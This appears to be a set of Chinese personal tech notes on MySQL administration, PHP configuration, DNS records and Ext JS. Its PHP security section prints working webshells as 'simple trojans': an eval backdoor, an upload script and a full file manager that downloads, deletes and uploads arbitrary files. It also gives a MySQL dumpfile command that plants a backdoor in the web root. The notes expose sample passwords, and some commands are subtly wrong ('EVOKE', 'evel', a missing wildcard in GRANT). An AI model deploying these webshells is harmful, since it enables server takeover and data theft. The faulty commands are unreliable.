mysql相关
mysql相关
用户管理
MySQL 默认有个root用户,但是这个用户权限太大,一般只在管理数据库时候才用。如果在项目中要连接 MySQL 数据库,则建议新建一个权限较小的用户来连接。
- 在 MySQL 命令行模式下输入如下命令可以为 MySQL 创建一个新用户:
CREATE USER username IDENTIFIED BY 'password'; - 新用户创建完成,但是此刻如果以此用户登陆的话,会报错,因为我们还没有为这个用户分配相应权限,分配权限的命令如下:
GRANT ALL PRIVILEGES ON *.* TO 'username'@'localhost' IDENTIFIED BY 'password';
授予username用户在所有数据库上的所有权限。
说明:*.*表示所有的库上的所有的表
- 如果此时发现刚刚给的权限太大了,如果我们只是想授予它在某个数据库上的权限,那么需要切换到root 用户撤销刚才的权限,重新授权:
EVOKE ALL PRIVILEGES ON *.* FROM 'username'@'localhost';
GRANT ALL PRIVILEGES ON wordpress.* TO 'username'@'localhost' IDENTIFIED BY 'password';
甚至还可以指定该用户只能执行 select 和 update 命令:
GRANT SELECT, UPDATE ON wordpress.* TO 'username'@'localhost' IDENTIFIED BY 'password';这样一来,再次以username登陆 MySQL,只有wordpress数据库是对其可见的,并且如果你只授权它select权限,那么它就不能执行delete 语句。
另外每当调整权限后,通常需要执行以下语句刷新权限:
FLUSH PRIVILEGES;删除刚才创建的用户:
DROP USER username@localhost;
mysql账户密码
第一种方式:
- 找出别人的链接的ID
show processlist;
在系统下mysqladmin -uroot -ppassword kill 要杀的ID
先修改了root密码,语句如下:
UPDATE mysql.user SET PASSWORD=PASSWORD(‘root’) WHERE USER=’root’;
FLUSH PRIVILEGES;
- 限制下安全吧,root授权的时候只给自己的IP进行授权
grant ALL on . to “root”@”自己的IP” identified by “密码”;
FLUSH PRIVILEGES;
下面好像可以增加了一个新的用户。
第二种方式:mysql_native_password
修改密码加密方式,改成mysql_native_password
ALTER USER ‘root’@’localhost’ IDENTIFIED WITH mysql_native_password BY ‘root’;
然后修改密码:
SET PASSWORD FOR ‘root’@’localhost’ = PASSWORD(‘newpassword’);
或者执行命令flush privileges使权限配置项立即生效。
这种方式,可以在mysql.user表中看到,password字段中内容为空,而plugin字段中,为mysql_native_password。另外,authentication_string字段中,多了一些内容。在实际操作中,发现password中有内容了,而原来的还是为空。
忘记密码
只需要跳过权限登录MySQL 服务器端,在cmd中执行 mysqld –skip-grant-tables。需要先结束mysqld服务进程。
说明
仔细上面几个命令,可以发现不管是授权,还是撤销授权,都要指定响应的host(即 @ 符号后面的内容),因为以上及格命令实际上都是在操作mysql 数据库中的user表,可以用如下命令查看相应用户及对应的host:
SELECT User, Host FROM user;
注意事项
特殊字符
- !(验证过,确实如此)
密码中含有叹号(!),那么在控制台登录时会出现错误哦,但是PHP能正常的访问。 - &
如果有特殊字符&,那么就会出现如下提示:-bash: syntax error near unexpected token `&’
mysql.user表中Host为%的含义
Host列指定了允许用户登录所使用的IP,比如user=root Host=192.168.1.1。这里的意思就是说root用户只能通过192.168.1.1的客户端去访问。
而%是个通配符,如果Host=192.168.1.%,那么就表示只要是IP地址前缀为“192.168.1.”的客户端都可以连接。如果Host=%,表示所有IP都有连接权限。
这也就是为什么在开启远程连接的时候,大部分人都直接把Host改成%的缘故,为了省事。
数据库备份
- 备份
mysqldump -uroot -pshinestb –databases publish led meetings shinevideomeeting iptv cdnserver interactive ctinteractive > 文件.sql; - 恢复
mysql -uroot -pshinestb publish < 文件
https://www.cnblogs.com/wanghetao/p/3806888.html
https://www.cnblogs.com/libin6505/p/8269035.html
php-crud-api改造记
php-crud-api改造记
php-crud-api地址
这个是小组组长要求使用到的一个开源的php的库。目地是,减少php代码,使精力专注在前端页面上。但是在使用过程中,发现并不能很好的与前端的Extjs框架配合好。为了解决这个问题,便要对其进行适当的改进。
改造如下
前端提交表单,需要返回success字段
前端需求数据跟后端的api接口返回数据格式不一致,前端需要提交数据成功后,需要增加一个success=true字段,而原有的api框架,只返回成功后的api。需要需要对其进行改造。
改造得比较丑,代码可以优化。另外,这种需求是简单的处理。结合之前看到的其他的框架,可以用事件插件模式来处理。(参见typecho的设计模式),RecordController.php,create、update方法。
话不多说,代码前后对比:
改造前:
$params = $request->getParams();
if (is_array($record)) {
$result = array();
foreach ($record as $r) {
$result[] = $this->service->create($table, $r, $params);
}
return $this->responder->success($result);
} else {
return $this->responder->success($this->service->create($table, $record, $params));
}
改造后:
$params = $request->getParams();
$needSuccess=false;
if(isset($params['success'])){
$needSuccess=true;
}
if (is_array($record)) {
$result = array();
foreach ($record as $r) {
$result[] = $this->service->create($table, $r, $params);
}
if($needSuccess){
return $this->responder->success(array('success'=>true,'result'=>$result));
}else{
return $this->responder->success($result);
}
} else {
if($needSuccess){
$result=$this->service->create($table, $record, $params);
return $this->responder->success(array('success'=>true,'result'=>$result));
}else{
return $this->responder->success($this->service->create($table, $record, $params));
}
}
php与nginx的安装
php与nginx的安装
参考文章
php-fpm配置
在Linux中将php-fpm配置成服务的方法
- 1.配置php-fpm.conf
vi /usr/local/php/etc/php-fpm.conf
php-fpm.pid 目录必须指向:/usr/local/php/var/run/php-fpm.pid
- 2.拷贝php-fpm脚本至/etc/init.d目录
cp /home/soft/php-5.3.15/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
- 3.设置权限并启动php-fpm:
chmod 755 /etc/init.d/php-fpm
/etc/init.d/php-fpm start
chkconfig –add php-fpm
- 最后,给出php-fpm以服务的方式启动、停止和重启:
service php-fpm start
service php-fpm stop
service php-fpm reload
php与ini文件
php与ini文件
例子
- 其中db.ini配置文件如下:
[root]
username='root'
password='ROOT_shinestb_2019_'
[publish]
username='publish'
password='PUBLISH_shinestb_2019_'
- php主要的操作函数为,parse_ini_file,
参数说明:1、要解析的文件名;2、如果第二个参数默认为false,如果为true,则返回多维数组。
php代码:
$tmp=parse_ini_file('db.ini',TRUE);
var_dump($tmp);
/*
array(2) {
["root"]=>
array(2) {
["username"]=>
string(4) "root"
["password"]=>
string(19) "ROOT_shinestb_2019_"
}
["publish"]=>
array(2) {
["username"]=>
string(7) "publish"
["password"]=>
string(22) "PUBLISH_shinestb_2019_"
}
}
*/
$tmp=parse_ini_file('db.ini');
var_dump($tmp);
/*
array(2) {
["username"]=>
string(7) "publish"
["password"]=>
string(22) "PUBLISH_shinestb_2019_"
}
*/
php.ini配置
- ini_get()获取配置参数,ini_set()设置配置参数
- ini_get_all()获取所有配置信息
- ini_restore()恢复配置信息到原始值
php中的安全问题
php中的安全问题
mysql部分
mysql端口未更改
通过端口扫描,可以找到3306端口,然后通过弱口令,登录到数据库。
mysql文件写权限
通过以下命令,往数据库里面写数据
//写入php可执行脚本,放到web执行目录中
select "<?php @evel($_GET['test']);" into dumpfile "D:/ShineMDS/xampp/htdocs/extension/test.php";
php部分
常见的php简单的木马
- 直接执行post 或get的提交参数
<?php @evel($_GET['test']);
- 上传文件
<?php
move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
- 遍历目录
<?php
if(!empty($_POST['action'])){
$action=$_POST['action'];
switch($action){
case 'upload':
upload();
default:
break;
}
}
if(!empty($_GET['action'])){
$action=$_GET['action'];
switch($action){
case 'download':
download();
exit;
case 'delete':
deleteFile();
break;
default:
break;
}
}
function download(){
if(!empty($_GET['fn']) &&file_exists($_GET['fn']) ){
$file=$_GET['fn'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
function deleteFile(){
if(!empty($_GET['fn']) &&file_exists($_GET['fn']) ){
$file=$_GET['fn'];
unlink($file);
header("Location:".pathinfo(__FILE__)['basename']."?path=".dirname($file));
}
}
function upload(){
$path=$_GET['path'];
move_uploaded_file($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name']);
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- 上述3个meta标签*必须*放在最前面,任何其他内容都*必须*跟随其后! -->
<title>文件查看工具</title>
</head>
<body>
<?php
//var_dump();
$curPath=dirname(__FILE__);
//echo $curPath;
$path=$curPath;
if(!empty($_GET['path'])){
$path=$_GET['path'];
}
$fh=opendir($path);
$dirs=array();
$files=array();
while($fn=readdir($fh)){
$fn=iconv('gbk','UTF-8',$fn);
$fullName=$path.'/'.$fn;
$info=array();
$info['fn']=$fn;
$info['fullname']=$fullName;
if(is_dir($path.'/'.$fn)){
$dirs[]=$info;
}else{
$files[]=$info;
}
}
?>
<p><a href="?path=<?=dirname($path)?>">返回上一级</a></p>
<?php foreach($dirs as $v){ ?>
<a href="?path=<?=$v['fullname']?>"><?=$v['fn']?></a><br>
<?php }?>
<?php foreach($files as $v){?>
<p><?=$v['fn']?> <a href="?action=download&fn=<?=$v['fullname']?>">下载</a> <a href="?action=delete&fn=<?=$v['fullname']?>">删除</a></p>
<?php }?>
<div>
<form action="<?php echo pathinfo(__FILE__)['basename']."?path=$path";?>" enctype="multipart/form-data" method="POST">
<input type="file" name="file">
<input type="hidden" name="action" value="upload">
<input type="submit" value="提交" >
</form>
</div>
</body>
</html>
一个Ext JS 6可用的下载类
一个Ext JS 6可用的下载类
HTML5为A标签添加了download属性,可用来指定链接的文件名,单击A标签后就可实现文件下载功能,该组件就是利用这个特性来实现的,具体代码如下:
Ext.define('Admin.util.Download', {
alternateClassName: 'DL',
singleton: true,
saveAs: function(url,filename, fileType, params){
Ext.Ajax.request({
method: 'GET',
url: url,
params: params,
filename: filename,
binary: true,
success: function(response, options){
Ext.Msg.hide();
let filename= options.filename,
bytes = response.responseBytes,
blob = new Blob([bytes], {type:fileType});
a = document.createElement("a"),
evt = document.createEvent("MouseEvents");
a.innerHTML = filename;
a.download = filename;
a.href = URL.createObjectURL(blob);
evt.initEvent("click", false, false);
a.dispatchEvent(evt);
},
failure: FAILED.ajax
})
}
});
下载类Admin.util.Download为单例模式的列,也就是不需要实例化就可直接调用saveSa方法,如果不喜欢使用单例模式,也可将saveAs方法修改为静态方法。
调用saveAs方法需要传递文件名(filename)、文件类型(fileType)和提交参数(params)这三个参数。
在saveAs方法内,会调用Ajax去获取下载文件。要注意的是,在调用Ajax时,将数据返回格式设置为了二进制格式(binary: true)。在成功获取文件后,就可使用响应的responseBytes属性来获取返回的字节流,然后将字节流转换为blob对象,这里要注意是必须设置好文件类型,不然下载后的文件可能是非预期的。在创建blob对象后,就可创建一个A标签了。在创建A标签时,需要绑定它的鼠标事件和innerHtml等属性,而最关键就是将下载的文件名绑定到download属性,并为blob对象创建一个访问地址赋值给A标签的href属性。最后就是调用A标签的单击事件来实现文件下载操作了。
不确定层数的嵌套循环
域名解析
# 域名解析
记录类型
常用的大概有:
A记录
A解析到一个ip上。这个是常用的方式。
如果有一个ip地址,那么应增加两个A记录。
//配置1 指定www开头
记录类型:A
主机记录:www 记录值:47.94.172.200
解析线路:默认
//配置2,默认省略www也能访问
记录类型:A
主机记录:@ 记录值:47.94.172.200
解析线路:默认
//配置3 以git前缀访问
记录类型:A
主机记录:git 记录值:47.94.172.200
解析线路:默认
CNAME记录
将此记录指向另外一个域名。
主机记录,即域名以什么开头。
记录值 ,指向另外一个域名 test.coding.me
//配置 执行另外一个域名
记录类型:CNAME
主机记录:m 记录值:test.coding.me
解析线路:默认
常用的vs扩展
常用的vs扩展
Chinese (Simplified) Language Pak
中文简体包
Git History Diff (HuiZhou)
非常方便的代码Git历史查看,能方便的查看到之前的版本。
Code Runner 0.9.11 (Jun Han)
能快速的运行各种格式的代码,非常方便
dx-snippet
各种前端的快捷方式,(研究如何增加自己的快捷方式)
jshint 0.10.20
js语法检查工具,需要npm isntall -g全局才能安装使用。
Material Theme 29.2.0
一个主题插件
PHP IntelliSense 2.3.10
PHP语法检查工具,具体不清楚。
Vetur
vue的工具
Coffee Emmet Mithril
Coffee的语法提示工具